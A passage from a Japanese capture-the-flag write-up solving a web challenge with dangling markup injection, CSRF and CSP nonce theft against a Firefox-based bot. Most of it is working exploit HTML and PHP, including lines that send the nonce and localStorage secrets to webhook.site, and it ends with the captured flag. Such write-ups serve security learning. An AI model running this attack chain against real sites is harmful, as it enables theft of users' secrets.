まで、つまりnonceも含んだHTMLの一部が img
要素で読み込まれる画像のクエリパラメータの一部として解釈されていることがわかる。こういった攻撃をDangling Markup Injectionと呼ぶわけだけれども、Chromeなどでは対策が実装されている。
ところで、この問題で使われているPuppeteerを使ったbotは、次のようにFirefoxを使って通報されたWebページの巡回を行っていることがわかる。以前私が作問した問題で、FirefoxがDangling Markup Injectionの対策を実装していなかったために非想定の解法で解かれたという記憶が蘇る。現在はどうだろうか。
const browser = await Puppeteer.launch({ product: "firefox", headless: true, ignoreHTTPSErrors: true, });
競技時間中はここまで考えたところでつまずいた。CSPでは Content-Security-Policy: default-src 'self'; base-uri 'self'; script-src 'nonce-…'
という制限の中で、どうやって img
要素以外で外部にnonceを持ち出せるのかな~と考えていたのだけれども、眠かったからか <meta http-equiv="refresh" content="…">
という方法が思い浮かばなかった。ということで、次のようにしてCSRFトークンとnonceは盗み出せる。
<form action="https://35.200.57.143:11004/profile" method="POST" id="form"> <input type=text id=name name=name> <input type=text id=_csrf name=csrf> <input type=submit> </form> <script> Object.defineProperty(document, 'domain', {get: () => "35.200.57.143"}); </script> <script src="https://35.200.57.143:11004/getSettings.js"></script> <script> const name = document.getElementById('name'); name.value = `<meta http-equiv=refresh content='0;https://webhook.site/…?`; const form = document.getElementById('form'); form.submit(); </script>
このHTMLをホストしているURLを通報する。ちゃんとnonceを盗み出せてますねえ。
あとはnonceが更新されないように、/csp.gif
へアクセスさせない方法を考える必要がある。が、これはCSPを見ると base-uri 'self'
とあるので、<base href="/hoge/">
のようにして /hoge/csp.gif
という存在しないパスへリクエストが飛ぶよう壊してやればよい。
これで準備は整った。次のような順番で攻撃するスクリプトを書く。
<base href="/hoge/">
に名前を変えて、nonceを固定する(fix-nonce.php
)<base href="/hoge/"><meta http-equiv=refresh content='0;https://(略)/log-nonce.php
に名前を変えて、nonceを盗み出す(steal-nonce.php
,log-nonce.php
)<base href="/hoge/"><script nonce=(nonce)>location.href="https://webhook.site/…?"+localStorage.secret</script>
に名前を変えて、フラグを盗み出す(inject-script.php
)
出来上がったスクリプトは次の通り。
exp.html
:
<iframe src="fix-nonce.php"></iframe> <script> setTimeout(() => { const i = document.createElement('iframe'); i.src = 'steal-nonce.php'; document.body.appendChild(i); }, 1000); setTimeout(() => { const i = document.createElement('iframe'); i.src = 'inject-script.php'; document.body.appendChild(i); }, 2000); </script>
fix-nonce.php
:
<form action="https://35.200.57.143:11004/profile" method="POST" id="form"> <input type=text id=name name=name> <input type=text id=_csrf name=csrf> <input type=submit> </form> <script> Object.defineProperty(document, 'domain', {get: () => "35.200.57.143"}); </script> <script src="https://35.200.57.143:11004/getSettings.js"></script> <script> const name = document.getElementById('name'); name.value = `<base href="/hoge/">`; const form = document.getElementById('form'); form.submit(); </script>
steal-nonce.php
:
<form action="https://35.200.57.143:11004/profile" method="POST" id="form"> <input type=text id=name name=name> <input type=text id=_csrf name=csrf> <input type=submit> </form> <script> Object.defineProperty(document, 'domain', {get: () => "35.200.57.143"}); </script> <script src="https://35.200.57.143:11004/getSettings.js"></script> <script> const name = document.getElementById('name'); name.value = `<base href="/hoge/"><meta http-equiv=refresh content='0;https://(略)/log-nonce.php?`; const form = document.getElementById('form'); form.submit(); </script>
log-nonce.php
:
<?php $q = $_SERVER['QUERY_STRING']; preg_match('/nonce=([0-9a-f]+)/', $q, $matches); file_put_contents('nonce.txt', $matches[1]); echo $matches[1];
inject-script.php
:
<form action="https://35.200.57.143:11004/profile" method="POST" id="form"> <input type=text id=name name=name> <input type=text id=_csrf name=csrf> <input type=submit> </form> <script> Object.defineProperty(document, 'domain', {get: () => "35.200.57.143"}); </script> <script src="https://35.200.57.143:11004/getSettings.js"></script> <script> const name = document.getElementById('name'); name.value = `<base href="/hoge/"><script nonce=<?= file_get_contents('nonce.txt') ?>>location.href="https://webhook.site/(略)?"+localStorage.secret\x3c/script>`; const form = document.getElementById('form'); form.submit(); </script>
exp.html
を通報すると、次のようにフラグが飛んできた。
LINECTF{72fdb8db303404e8388062c7233f248e}